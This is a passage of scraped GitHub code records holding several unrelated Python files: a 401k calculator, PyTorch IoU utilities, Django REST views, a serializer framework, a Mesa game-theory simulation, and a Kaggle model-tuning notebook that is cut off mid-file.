2022\nprint(len(str(225565)))","repo_name":"Catzilllla/YA_ACAD_TEST","sub_path":"ya_task_2.1/task_18.py","file_name":"task_18.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24099447994","text":"#!/usr/bin/env python\n\n\nimport argparse\nfrom datetime import datetime\nfrom decimal import Decimal\n\n_2019_MAX_AMOUNT = Decimal(19000)\n_QUANTIZE = Decimal('.01')\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Calculate how much to contribute to max out your 401k. Enter as many past contributions and a salary. e.g. `401k-calculator.py --cont 2000 --cont 1000 105000`'\n )\n parser.add_argument(\n '--cont',\n action='append',\n type=Decimal,\n help='What amount have you contributed already this year?'\n )\n parser.add_argument(\n '--match',\n type=Decimal,\n default=4,\n help='What percentage of your salary is matched?'\n )\n parser.add_argument(\n 'salary',\n metavar='N',\n type=Decimal,\n help='What is your current yearly salary?'\n )\n\n args = parser.parse_args()\n return args\n\n\ndef remaining_pay_periods():\n # twice a month on the 15th and 30th\n _now = datetime.now()\n remaining_months = 12 - _now.month\n current_day = _now.day\n if current_day < 14:\n remaining_periods_this_month = 2\n elif current_day < 27: # because: Febuary\n remaining_periods_this_month = 1\n else:\n remaining_periods_this_month = 0\n\n return (2 * remaining_months) + remaining_periods_this_month\n\n\ndef run():\n args = parse_args()\n\n paychecks = remaining_pay_periods()\n ytd_contributions = sum(args.cont)\n remaining_amount = _2019_MAX_AMOUNT - ytd_contributions\n your_salary = Decimal(args.salary)\n salary_per_period = your_salary / Decimal(12 * 2.)\n company_match_percent = Decimal(args.match / 100)\n minimum_contribution = salary_per_period * company_match_percent\n combined_min_contribution = Decimal(paychecks * minimum_contribution)\n\n print(\n 'You earn {} per pay period.'.format(\n Decimal(salary_per_period.quantize(_QUANTIZE))\n )\n )\n print(\n 'You have already contributed {} this year '\n '({} left of {} max).'.format(\n ytd_contributions,\n remaining_amount,\n _2019_MAX_AMOUNT,\n )\n )\n print(\n 'Your minimum contribition should be {} to maximize the '\n '{} company match.'.format(\n Decimal(minimum_contribution.quantize(_QUANTIZE)),\n '{0:.0%}'.format(company_match_percent),\n )\n )\n if remaining_amount > 0:\n print(\n 'There are {} pay periods remaining. '\n 'If you contribute the minimum (plus past contributions), '\n 'your total will be {}.'\n .format(\n paychecks,\n (ytd_contributions + combined_min_contribution).quantize(\n _QUANTIZE\n ),\n )\n )\n\n max_contribution_per_paycheck = Decimal(remaining_amount / paychecks)\n max_percent_per_paycheck = Decimal(\n max_contribution_per_paycheck / salary_per_period\n )\n print(\n 'To maximize your 401k, you should contribute {} '\n 'each remaining pay-period '\n '(or {}).'.format(\n max_contribution_per_paycheck.quantize(_QUANTIZE),\n '{0:.0%}'.format(max_percent_per_paycheck),\n # max_percent_per_paycheck.quantize(_QUANTIZE)\n )\n )\n\nif __name__ == '__main__':\n run()\n","repo_name":"alejandrovich/py-scripts","sub_path":"401k-calculator.py","file_name":"401k-calculator.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9356249471","text":"import torch\nimport numpy as np\nimport cv2\n\ndef get_device():\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n if torch.cuda.is_available():\n print(\"Using the GPU!\")\n else:\n print(\"WARNING: Could not find GPU! Using CPU only.\")\n return device\n\ndef box_minmax_form(boxes):\n \"\"\"\n Convert from y,x,h,w form to x1,x2,y1,y2 form for a shape [N, M, 4] batch of boxes\n Returns another shape [N, M, 4] tensor\n \"\"\"\n #mins = boxes[:,:,:2] - boxes[:,:,2:]/2\n #maxes = boxes[:,:,:2] + boxes[:,:,2:]/2\n #return torch.stack((mins[:,:,1], maxes[:,:,1], # x1, x2\n # mins[:,:,0], maxes[:,:,0]), 2) # y1, y2\n\n return torch.cat((boxes[:,:,:2] - boxes[:,:,2:]/2, # ymin, xmin\n boxes[:,:,:2] + boxes[:,:,2:]/2), 2) # ymax, xmax\n\ndef box_yxhw_form(boxes):\n \"\"\"\n Convert from y1,x2,y2,x2 form to y,x,h,w form for a shape [N, M, 4] batch of boxes\n Returns another shape [N, M, 4] tensor\n \"\"\"\n return torch.cat(((boxes[:,:,2:] + boxes[:,:,:2])/2, # cx, cy\n boxes[:,:,2:] - boxes[:,:,:2]), 2) # w, h\n\ndef jaccard(anchors, labels):\n A, _ = anchors.shape\n B, _ = labels.shape\n max_xy = torch.min(anchors[:,2:].unsqueeze(1).expand(A, B, 2),\n labels[:,2:].unsqueeze(0).expand(A, B, 2))\n min_xy = torch.max(anchors[:,:2].unsqueeze(1).expand(A, B, 2),\n labels[:,:2].unsqueeze(0).expand(A, B, 2))\n inter = torch.clamp((max_xy - min_xy), min=0)\n intersect = inter[:,:,0] * inter[:,:,1]\n\n area_a = ((anchors[:,2]-anchors[:,0]) *\n (anchors[:,3]-anchors[:,1])).unsqueeze(1).expand_as(intersect)\n area_b = ((labels[:,2]-labels[:,0]) *\n (labels[:,3]-labels[:,1])).unsqueeze(0).expand_as(intersect)\n union = area_a + area_b - intersect\n return intersect / union\n\ndef batch_jaccard(anchors, labels):\n \"\"\"\n Computes jaccard similarity (IoU) for a batch of anchor boxes\n anchors is of shape: [N, A, 4]\n labels is of shape: [N, B, 4]\n Output is of shape: [N, A, B]\n \"\"\"\n N, A, _ = anchors.shape\n B = labels.size(1)\n max_xy = torch.min(anchors[:,:,2:].unsqueeze(2).expand(N, A, B, 2),\n labels[:,:,2:].unsqueeze(1).expand(N, A, B, 2))\n min_xy = torch.max(anchors[:,:,:2].unsqueeze(2).expand(N, A, B, 2),\n labels[:,:,:2].unsqueeze(1).expand(N, A, B, 2))\n inter = torch.clamp((max_xy - min_xy), min=0)\n intersect = inter[:,:,:,0] * inter[:,:,:,1]\n\n area_a = ((anchors[:,:,2]-anchors[:,:,0]) *\n (anchors[:,:,3]-anchors[:,:,1])).unsqueeze(2).expand_as(intersect)\n area_b = ((labels[:,:,2]-labels[:,:,0]) *\n (labels[:,:,3]-labels[:,:,1])).unsqueeze(1).expand_as(intersect)\n union = area_a + area_b - intersect\n return intersect / union\n\ndef add_bbs(img, boxes, color):\n for box in boxes:\n y1 = int(torch.round(box[0]))\n x1 = int(torch.round(box[1]))\n y2 = int(torch.round(box[2]))\n x2 = int(torch.round(box[3]))\n cv2.rectangle(img,(x1,y1),(x2,y2),color,1) # add rectangle to image\n return img","repo_name":"OwenHoffend/eecs504_project","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74674722132","text":"a = 65\nfor i in range(7):\n for j in range(4):\n if j > i or i+j >= 7:\n print(\" \",end=\" \")\n else:\n print(chr(a),end=\" \")\n if i < 3:\n a += 1\n else:\n a -= 1\n print()\n\n","repo_name":"Audarya07/Daily-Flash-Codes","sub_path":"Week12/Day4/Solutions/Python/prog4.py","file_name":"prog4.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18458251693","text":"import os\nimport logging\nfrom os.path import exists\n\nfrom django.db import DatabaseError, transaction\nfrom dotenv import load_dotenv\nfrom pyfase import MicroService\n\n\nclass ActionBase(MicroService):\n def __init__(self):\n self.sender, self.receiver = self.__load_conf()\n print('Sender: {} === Receiver: {}'.format(self.sender, self.receiver))\n self.message = None\n self.except_message = None\n self.websocket = None\n super(ActionBase, self).__init__(self, sender_endpoint=self.sender, receiver_endpoint=self.receiver)\n\n def on_connect(self):\n logging.warning(msg=\"### ON CONNECT \"+ self.name)\n\n @staticmethod\n def __load_conf():\n endpoint = 'tcp://{host}:{port}'\n base_dir = os.path.dirname(\n os.path.abspath(__file__)\n )\n microservice = os.path.join(base_dir, '../hydroponic.conf')\n if exists(microservice):\n load_dotenv(microservice)\n sender_endpoint = endpoint.format(host=os.environ.get('PYFASE_HOST'), port=os.environ.get('PYFASE_SENDER_PORT'))\n receiver_endpoint = endpoint.format(host=os.environ.get('PYFASE_HOST'), port=os.environ.get('PYFASE_RECEIVER_PORT'))\n return sender_endpoint, receiver_endpoint\n else:\n return endpoint.format('localhost', '3000'), endpoint.format('localhost', '9000')\n\n @staticmethod\n def run_methods(action, payload):\n try:\n with transaction.atomic():\n action(payload)\n return\n except (DatabaseError, Exception) as Ex:\n transaction.rollback()\n return Ex\n\n","repo_name":"AlanShishido/hydroponic-garden-manager","sub_path":"PyfaseActionBase/pyfaceBase.py","file_name":"pyfaceBase.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17201002250","text":"from .....mudules import (ListAPIView, CreateAPIView, Response, status, UpdateAPIView, \n create_response, IsAdminRole, DestroyAPIView)\nfrom apps.authenticacion.models import Document_types\nfrom ....serializer.serializers import DocumentSerializers\n\nclass DocumentListView(ListAPIView):\n queryset = Document_types.objects.all()\n serializer_class = DocumentSerializers\n\n def get(self, request, *args, **kwargs):\n data = self.get_queryset()\n serializers = DocumentSerializers(data, many=True)\n response, code = create_response(\n status.HTTP_200_OK, 'Document', serializers.data)\n return Response(response, status=code)\n\nclass DocumentCreateView(CreateAPIView):\n queryset = Document_types.objects.all()\n serializer_class = DocumentSerializers\n\n def post(self, request, *args, **kwargs):\n documentSerializers = DocumentSerializers(data=request.data)\n if documentSerializers.is_valid():\n documentSerializers.save()\n response, code = create_response(\n status.HTTP_200_OK, 'Document', documentSerializers.data)\n return Response(response, status=code)\n response, code = create_response(\n status.HTTP_400_BAD_REQUEST, 'Error', documentSerializers.errors)\n return Response(response, status=code)\n\nclass DocumentUpdateView(UpdateAPIView):\n queryset = Document_types.objects.all()\n serializer_class = DocumentSerializers\n\n def get_object(self):\n\n try:\n pk = self.kwargs.get('pk')\n return Document_types.objects.get(pk=pk)\n except Document_types.DoesNotExist:\n return None\n\n def put(self, request, *args, **kwargs):\n document = self.get_object()\n\n if document is None:\n response, code = create_response(\n status.HTTP_400_BAD_REQUEST, 'Error', documentSerializers.errors)\n return Response(response, status=code)\n\n try:\n documentSerializers = DocumentSerializers(\n document, data=request.data)\n if documentSerializers.is_valid():\n documentSerializers.save()\n response, code = create_response(\n status.HTTP_200_OK, 'Document Update', documentSerializers.data)\n return Response(response, status=code)\n response, code = create_response(\n status.HTTP_400_BAD_REQUEST, 'Error', documentSerializers.errors)\n return Response(response, status=code)\n except (AttributeError, Exception) as e:\n response, code = create_response(\n status.HTTP_400_BAD_REQUEST, 'Not Found', e.args)\n return Response(response, status=code)\n\nclass DocumentDestroyView(DestroyAPIView):\n queryset = Document_types.objects.all()\n serializer_class = DocumentSerializers\n permission_classes = [IsAdminRole]\n\n def get_object(self):\n try:\n pk = self.kwargs.get('pk')\n return Document_types.objects.get(id=pk)\n except Document_types.DoesNotExist:\n return None\n\n def delete(self, request, *args, **kwargs):\n document = self.get_object()\n if document is None:\n response, code = create_response(\n status.HTTP_200_OK, 'Error', 'Type document Not Exist')\n return Response(response, status=code)\n document.delete()\n\n response, code = create_response(\n status.HTTP_200_OK, 'Error', 'Ok')\n return Response(response, status=code)","repo_name":"YONT23/backend","sub_path":"config/apps/authenticacion/api/view/models_view/documents/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39128313981","text":"import copy\nfrom collections import OrderedDict\nfrom collections.abc import Mapping\nfrom google.protobuf import json_format\n\nfrom binwen.exceptions import ConfigException, ValidationError, SkipFieldException\nfrom binwen.utils.functional import import_obj\nfrom binwen.serializers.fields import Field, empty\n\nLIST_SERIALIZER_KWARGS = (\n 'required', 'default', 'initial', 'source', 'partial',\n 'instance', 'form_data', 'allow_empty', 'allow_null'\n)\n\n\ndef set_value(dictionary, keys, value):\n \"\"\"\n 类似于Python内置的字典`dictionary[key] = value`,\n 但是需要一个嵌套键的列表,而不是一个键。\n\n set_value({'a': 1}, [], {'b': 2}) -> {'a': 1, 'b': 2}\n set_value({'a': 1}, ['x'], 2) -> {'a': 1, 'x': 2}\n set_value({'a': 1}, ['x', 'y'], 2) -> {'a': 1, 'x': {'y': 2}}\n \"\"\"\n if not keys:\n dictionary.update(value)\n return\n\n for key in keys[:-1]:\n if key not in dictionary:\n dictionary[key] = {}\n dictionary = dictionary[key]\n\n dictionary[keys[-1]] = value\n\n\nclass BaseFormSerializer(Field):\n\n def __init__(self, instance=None, request_data=empty, **kwargs):\n self.instance = instance\n self._request_data = request_data\n self.partial = kwargs.pop('partial', False)\n self._context = kwargs.pop('context', {})\n kwargs.pop('many', None)\n super(BaseFormSerializer, self).__init__(**kwargs)\n\n def __new__(cls, *args, **kwargs):\n if kwargs.pop('many', False):\n return cls.many_init(*args, **kwargs)\n return super().__new__(cls, *args, **kwargs)\n\n @classmethod\n def many_init(cls, *args, **kwargs):\n allow_empty = kwargs.pop('allow_empty', None)\n child_serializer = cls(*args, **kwargs)\n list_kwargs = {'child': child_serializer}\n if allow_empty is not None:\n list_kwargs['allow_empty'] = allow_empty\n list_kwargs.update({k: v for k, v in kwargs.items() if k in LIST_SERIALIZER_KWARGS})\n list_serializer_class = getattr(getattr(cls, 'Meta', None), 'list_serializer_class', ListSerializer)\n return list_serializer_class(*args, **list_kwargs)\n\n def is_valid(self, raise_exc=False):\n if not hasattr(self, '_validated_data'):\n try:\n self._validated_data = self.run_validation(self._request_data)\n except ValidationError as exc:\n self._validated_data = {}\n self._errors = exc.details\n else:\n self._errors = None\n\n if self._errors and raise_exc:\n raise ValidationError(self._errors)\n\n return not bool(self._errors)\n\n def run_validation(self, data):\n is_empty_value, data = self.validate_empty_values(data)\n if is_empty_value:\n return data\n\n value = self.to_internal_value(data)\n try:\n self.run_validators(value)\n value = self.clean(value)\n except ValidationError as exc:\n raise ValidationError(exc.details)\n\n return value\n\n def get_validators(self):\n validators = getattr(getattr(self, 'Meta', None), 'validators', None)\n return list(validators) if validators is not None else ()\n\n def get_initial(self):\n if self._request_data is not empty:\n if not isinstance(self._request_data, Mapping):\n return OrderedDict()\n\n return OrderedDict([\n (field_name, field.get_value(self._request_data))\n for field_name, field in self.fields.items()\n if field.get_value(self._request_data) is not empty\n ])\n\n return OrderedDict([(field.field_name, field.get_initial()) for field in self.fields.values()])\n\n @property\n def data(self):\n if self._request_data is not empty and not hasattr(self, '_validated_data'):\n msg = (\n 'When a serializer is passed a `request_data` keyword argument you '\n 'must call `.is_valid()` before attempting to access the '\n 'serialized `.data` representation.\\n'\n 'You should either call `.is_valid()` first.'\n )\n raise AssertionError(msg)\n\n if not hasattr(self, '_data'):\n if self.instance is not None and not getattr(self, '_errors', None):\n self._data = self.to_representation(self.instance)\n elif hasattr(self, '_validated_data') and not getattr(self, '_errors', None):\n self._data = self.validated_data\n else:\n self._data = self.get_initial()\n return self._data\n\n @property\n def pb(self):\n if not self.proto_message:\n raise ConfigException(\"Serializer Meta `proto_message` is a required option\")\n\n if not hasattr(self, '_pb'):\n self._pb = json_format.ParseDict(self.data, self.proto_message(), ignore_unknown_fields=True)\n\n return self._pb\n\n @property\n def errors(self):\n if not hasattr(self, '_errors'):\n msg = 'You must call `.is_valid()` before accessing `.errors`.'\n raise AssertionError(msg)\n return self._errors\n\n @property\n def fields(self):\n if not hasattr(self, '_fields'):\n self._fields = OrderedDict()\n fields = copy.deepcopy(self.base_fields)\n for fn, field in fields.items():\n field.bind(field_name=fn, parent=self)\n self._fields[fn] = field\n return self._fields\n\n def to_internal_value(self, data):\n\n # if not isinstance(data, Mapping):\n # self.fail('invalid', datatype=type(data).__name__)\n\n ret = OrderedDict()\n errors = OrderedDict()\n\n for field_name, field in self.fields.items():\n validate_method = getattr(self, f'clean_{field_name}', None)\n primitive_value = field.get_value(data)\n try:\n validated_value = field.run_validation(primitive_value)\n if validate_method is not None:\n validated_value = validate_method(validated_value)\n except ValidationError as exc:\n errors[field.field_name] = exc.details\n except SkipFieldException:\n pass\n else:\n set_value(ret, field.source_attrs, validated_value)\n\n if errors:\n raise ValidationError(errors)\n\n return ret\n\n def to_representation(self, instance):\n ret = OrderedDict()\n for field_name, field in self.fields.items():\n try:\n attribute = field.get_attribute(instance)\n except SkipFieldException:\n continue\n\n attr_data = field.to_representation(attribute)\n clean_method = f'clean_{field_name}'\n if hasattr(self, clean_method):\n attr_data = getattr(self, clean_method)(instance, attr_data)\n ret[field_name] = attr_data\n\n cleaned_data = self.clean(ret)\n if cleaned_data is not None:\n ret = cleaned_data\n\n return ret\n\n @property\n def validated_data(self):\n if not hasattr(self, '_validated_data'):\n msg = 'You must call `.is_valid()` before accessing `.validated_data`.'\n raise AssertionError(msg)\n return self._validated_data\n\n def clean(self, ret):\n return ret\n\n\nclass DeclarativeFieldsMetaclass(type):\n @classmethod\n def _get_declared_fields(cls, bases, attrs):\n fields = [(fn, attrs.pop(fn)) for fn, obj in list(attrs.items()) if isinstance(obj, Field)]\n\n for base in reversed(bases):\n if hasattr(base, 'declared_fields'):\n fields += [(fn, obj) for fn, obj in base.declared_fields.items() if fn not in attrs]\n\n return OrderedDict(fields)\n\n def __new__(cls, name, bases, attrs):\n declared_fields = cls._get_declared_fields(bases, attrs)\n attrs['declared_fields'] = declared_fields\n new_class = super(DeclarativeFieldsMetaclass, cls).__new__(cls, name, bases, attrs)\n new_class.proto_message = import_obj(getattr(getattr(new_class, 'Meta', None), \"proto_message\", None))\n new_class.base_fields = declared_fields\n new_class.declared_fields = declared_fields\n return new_class\n\n\nclass Serializer(BaseFormSerializer, metaclass=DeclarativeFieldsMetaclass):\n default_error_messages = {\n 'invalid': 'Invalid data. Expected a dictionary, but got {datatype}.'\n }\n\n\nclass ListSerializer(BaseFormSerializer):\n many = True\n\n default_error_messages = {\n 'not_a_list': 'Expected a list of items but got type \"{input_type}\".',\n 'empty': 'This list may not be empty.'\n }\n\n def __init__(self, child, *args, **kwargs):\n self.child = child\n self.allow_empty = kwargs.pop('allow_empty', True)\n super().__init__(*args, **kwargs)\n self.child.bind(field_name='', parent=self)\n\n def bind(self, field_name, parent):\n super().bind(field_name, parent)\n self.partial = self.parent.partial\n\n def get_initial(self):\n if self._request_data is not empty:\n return self.to_representation(self._request_data)\n return []\n\n def to_internal_value(self, data):\n\n if not isinstance(data, list):\n self.fail('not_a_list', input_type=type(data).__name__)\n\n if not self.allow_empty and len(data) == 0:\n if self.parent and self.partial:\n raise SkipFieldException()\n\n self.fail('empty')\n\n ret = []\n errors = []\n\n for item in data:\n try:\n validated = self.child.run_validation(item)\n except ValidationError as exc:\n errors.append(exc.details)\n else:\n ret.append(validated)\n\n if any(errors):\n raise ValidationError(errors)\n\n return ret\n\n def to_representation(self, data):\n return [self.child.to_representation(item) for item in data]\n\n @property\n def data(self):\n ret = super(ListSerializer, self).data\n return ret\n\n def is_valid(self, raise_exception=False):\n if not hasattr(self, '_validated_data'):\n try:\n self._validated_data = self.run_validation(self._request_data)\n except ValidationError as exc:\n self._validated_data = []\n self._errors = exc.details\n else:\n self._errors = None\n\n if self._errors and raise_exc:\n raise ValidationError(self._errors)\n\n return not bool(self._errors)\n","repo_name":"binwen/binwen-framework","sub_path":"binwen/serializers/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":10655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11640503323","text":"import datetime\nfrom random import random, choice\nfrom mesa import Model\nfrom mesa.time import RandomActivation\nfrom agents import AlwaysShareAgent, AlwaysStealAgent, FoodPatch\nfrom mesa.space import MultiGrid\nfrom mesa.datacollection import DataCollector\n\n\ndef calc_share_steal_ratio(model):\n share_agent_list = [agent for agent in model.schedule.agents if agent.type == \"AlwaysShare\"]\n steal_agent_list = [agent for agent in model.schedule.agents if agent.type == \"AlwaysSteal\"]\n\n if len(steal_agent_list) == 0:\n divide_num = 1\n else:\n divide_num = len(steal_agent_list)\n\n ratio = len(share_agent_list) / divide_num\n\n return ratio\n\n\nclass GameTheoryModel(Model):\n description = \"A basic simulation of game theory population dynamics employing 2 strategies: Share vs Steal.\"\n\n def __init__(self, n_share, n_steal, n_food, width, height):\n self.num_agents_share = n_share\n self.num_agents_steal = n_steal\n self.n_food = n_food\n self.schedule = RandomActivation(self)\n self.grid = MultiGrid(width, height, True)\n self.running = True\n\n # Create food sources (one off)\n for i in range(self.n_food):\n fully_grown = choice([True, False])\n\n f = FoodPatch(str(i) + \"-food\", self, fully_grown=fully_grown)\n self.schedule.add(f)\n x = self.random.randrange(self.grid.width)\n y = self.random.randrange(self.grid.height)\n self.grid.place_agent(f, (x, y))\n\n # Create Agents\n for i in range(self.num_agents_share):\n a = AlwaysShareAgent(str(i) + \"-share\", self)\n self.schedule.add(a)\n\n # Add the agent to a random grid cell\n x = self.random.randrange(self.grid.width)\n y = self.random.randrange(self.grid.height)\n self.grid.place_agent(a, (x, y))\n\n for i in range(self.num_agents_steal):\n a = AlwaysStealAgent(str(i) + \"-steal\", self)\n self.schedule.add(a)\n\n # Add the agent to a random grid cell\n x = self.random.randrange(self.grid.width)\n y = self.random.randrange(self.grid.height)\n self.grid.place_agent(a, (x, y))\n\n self.datacollector = DataCollector(model_reporters={\"Ratio of Share vs Steal\": calc_share_steal_ratio},\n agent_reporters={\"Food\": \"food\"})\n\n def new_agent(self, agent_type, u_id, pos):\n split_uid = u_id.split(\"-\")\n timestamp = datetime.datetime.now().strftime(\"%H-%M-%S-%f\")\n new_id = split_uid[0] + \"-\" + agent_type + \"-r-\" + timestamp + \"-\" + str(random())\n\n if agent_type == \"AlwaysShare\":\n a = AlwaysShareAgent(new_id, self)\n elif agent_type == \"AlwaysSteal\":\n a = AlwaysStealAgent(new_id, self)\n\n self.schedule.add(a)\n self.grid.place_agent(a, pos)\n\n def step(self):\n self.datacollector.collect(self)\n self.schedule.step()\n\n # Stop running if everyone died\n if len([agent for agent in self.schedule.agents if agent.type != \"Food\"]) == 0:\n self.running = False\n","repo_name":"MrHaiss/GameTheorySim","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73385962134","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nfrom __future__ import print_function, division\nimport os\nimport gc\nimport time\nimport multiprocessing\nimport numpy as np\nimport pandas as pd\nfrom boruta import BorutaPy\nfrom sklearn.model_selection import train_test_split, StratifiedKFold, KFold\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import roc_auc_score, mean_absolute_error, log_loss\nfrom sklearn.ensemble import ExtraTreesClassifier, RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nimport lightgbm as lgb\nimport xgboost as xgb\nfrom hyperopt import hp, fmin, tpe, STATUS_OK, Trials, space_eval \nfrom hyperopt.pyll.base import scope\n\nimport utils\n\n\n# In[36]:\n\n\nBASE_DIR = \"/nfs/science/shared/ipythonNotebooks/abhiawa/DS/pssdp\"\nnum_cores = multiprocessing.cpu_count()\ncores_to_use = int(num_cores/2)\nprint('Total cpus in the machine:', num_cores)\nprint('cpus to use:', cores_to_use)\n\n\n# In[3]:\n\n\n# A naive time function\ndef time_elapsed(t0, str_result=False):\n t = np.round((time.time()-t0)/60, 3)\n if str_result==True:\n return str(t)+' minutes elapsed!'\n else:\n return t\n\n\n# In[4]:\n\n\n# Load combined_df\nt0 = time.time()\ncombined_df = pd.read_csv(os.path.join(BASE_DIR, 'data', 'combined_df.gz'))\nprint(combined_df.shape)\nprint(time_elapsed(t0, str_result=True))\n\n\n# In[5]:\n\n\n# Columns\ncols_to_remove = ['id','target','train_or_test']\ncols = [col for col in combined_df.columns.tolist() if col not in cols_to_remove]\nprint(len(cols))\n\n\n# In[6]:\n\n\ntrainX = combined_df.loc[combined_df.train_or_test=='train', cols].values\ntrainY = combined_df.loc[combined_df.train_or_test=='train', 'target'].values.reshape((-1,))\ntestX = combined_df.loc[combined_df.train_or_test=='test', cols].values\n#X_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size = 0.35, random_state = 42, stratify=y_train)\nprint(trainX.shape, testX.shape, trainY.shape)\n\n\n# In[7]:\n\n\ndef gini_xgb(pred, y):\n y = y.get_label()\n g = 2 * roc_auc_score(y, pred) - 1\n return 'gini', g\n\n# Finding value for scale_pos_weight\ndemo_scale_pos_weight = len(combined_df[combined_df.target==0])/len(combined_df[combined_df.target==1])\nprint(demo_scale_pos_weight)\n\n# ### Hyperopt Helper Functions\n\n# In[20]:\n\n\ndef get_space(clf_choice):\n if clf_choice=='LGB':\n lgb_space ={'num_leaves': scope.int(hp.quniform('num_leaves', 70, 200, 1)),\n 'learning_rate': hp.uniform('learning_rate', 0.03, 0.05),\n 'max_bin': scope.int(hp.quniform('max_bin', 200, 500, 1)),\n 'num_boost_round': scope.int(hp.quniform('num_boost_round', 75, 200, 1))}\n return lgb_space\n elif clf_choice=='Lasso':\n lasso_space = {'C': hp.uniform('learning_rate', 0.001, 0.01)}\n return lasso_space\n elif clf_choice=='XGB':\n xgb_space = {'max_depth': scope.int(hp.quniform('max_depth', 3, 5, 1)),\n 'subsample': hp.uniform('subsample', 0.6, 1.0),\n 'colsample_bytree': hp.uniform('colsample_bytree', 0.2, 1.0),\n 'gamma': hp.uniform('gamma', 2, 10),\n 'min_child_weight': scope.int(hp.quniform('min_child_weight', 10, 100, 1)),\n 'alpha': hp.uniform('alpha', 0.1, 1.0),\n 'lambda': hp.uniform('lambda', 0.1, 1.0),\n 'scale_pos_weight': hp.uniform('scale_pos_weight', 1.0, demo_scale_pos_weight)}\n return xgb_space\n\ndef model_metrics(y_test, preds_prob, scores):\n auc = roc_auc_score(y_test, preds_prob)\n scores['auc'].append(auc)\n scores['norm_gini'].append(2*auc-1)\n scores['logloss'].append(log_loss(y_test, preds_prob))\n return scores \n\ndef model_train(clf_choice, space, X_train, y_train, X_test):\n if clf_choice=='LGB':\n lgb_params ={'task':'train', 'boosting_type':'gbdt', 'objective':'binary', 'metric': {'auc', 'binary_logloss'},\n 'num_leaves': space['num_leaves'], 'learning_rate': space['learning_rate'], 'max_bin': space['max_bin'], \n 'nthread':1, 'verbose': 0}\n lgbtrain = lgb.Dataset(X_train, label=y_train)\n lgbtrain.construct()\n model = lgb.train(lgb_params, lgbtrain, num_boost_round=space['num_boost_round'])\n preds_prob = model.predict(X_test, num_iteration=space['num_boost_round'])\n elif clf_choice=='Lasso':\n scaler = StandardScaler()\n model = LogisticRegression(penalty='l1', C=space['C'], random_state=42, solver='saga', n_jobs=cores_to_use, \n max_iter=200)\n model.fit(scaler.fit_transform(X_train), y_train)\n preds_prob = model.predict_proba(scaler.transform(X_test))[:,1]\n elif clf_choice=='XGB':\n xgb_params = {'max_depth': space['max_depth'], 'learning_rate':0.1, 'subsample': space['subsample'], \n 'colsample_bytree': space['colsample_bytree'], 'eval_metric':'auc', 'objective':'binary:logistic', \n 'seed':42, 'nthread':cores_to_use, 'gamma': space['gamma'], 'alpha': space['alpha'],\n 'lambda': space['lambda'], 'min_child_weight': space['min_child_weight'], \n 'scale_pos_weight': space['scale_pos_weight']}\n dtrain = xgb.DMatrix(X_train, label=y_train, missing=-1) \n dtest = xgb.DMatrix(X_test, missing=-1)\n model = xgb.train(xgb_params, dtrain, num_boost_round=200, feval=gini_xgb, maximize=True)\n preds_prob = model.predict(dtest)\n return model, preds_prob\n\n\ndef hyperopt_param_tuning(space, skf, clf_choice, trainX, trainY, max_evals):\n def objective(space):\n global i\n print('\\nIteration:', i)\n scores = {'auc':[], 'norm_gini':[], 'logloss':[]}\n for train_index, test_index in skf.split(trainX, trainY):\n X_train, X_test, y_train, y_test = trainX[train_index], trainX[test_index], trainY[train_index], trainY[test_index]\n model, preds_prob = model_train(clf_choice, space, X_train, y_train, X_test)\n scores = model_metrics(y_test, preds_prob, scores)\n print(scores)\n print('Space is:', space)\n for k in scores:\n print(k, 'is:', np.array(scores[k]).mean())\n i+=1\n return{'loss':1-np.array(scores['norm_gini']).mean(), 'status': STATUS_OK, 'scores':scores}\n \n trials = Trials()\n # Run the hyperparameter search\n best = fmin(fn=objective, space=space, algo=tpe.suggest, max_evals=max_evals, trials=trials)\n # Get the values of the optimal parameters\n best_params = space_eval(space, best)\n return best_params, trials\n\n\n# ## Feature Selection\n\n# ### Boruta & Lasso\n\n# In[18]:\n\n\n'''t0 = time.time()\n# Boruta\nrf = RandomForestClassifier(n_jobs=cores_to_use, max_depth=5)\n\n# define Boruta feature selection method\nfeat_selector = BorutaPy(rf, n_estimators=50, verbose=2, random_state=42)\nfeat_selector.fit(X_train, y_train)\n\n# Selecting cols\ncols = np.array(cols)[feat_selector.support_]\nprint(cols)\n\n# Filtering train & test arrays\nX_train = feat_selector.transform(X_train)\nX_test = feat_selector.transform(X_test)\n\nprint(time_elapsed(t0, str_result=True))'''\n\n\n# In[ ]:\n\n\n'''# Lasso Parameter tuning with Hyperopt\nt0 = time.time()\n\ni=0\nskf = StratifiedKFold(n_splits=3, random_state=42)\nclf_choice = 'Lasso'\nspace = get_space(clf_choice)\ntuning_iter=10\nbest_params, trials = hyperopt_param_tuning(space, skf, clf_choice, trainX, trainY, tuning_iter)\nprint('Best Lasso Params:', best_params)\n\nprint(time_elapsed(t0, str_result=True))'''\n\n\n# In[10]:\n\n\n# Single Lasso Model\nt0 = time.time()\n\nscaler = StandardScaler()\nclf = LogisticRegression(penalty='l1', C=0.009, random_state=42, solver='saga', n_jobs=cores_to_use, 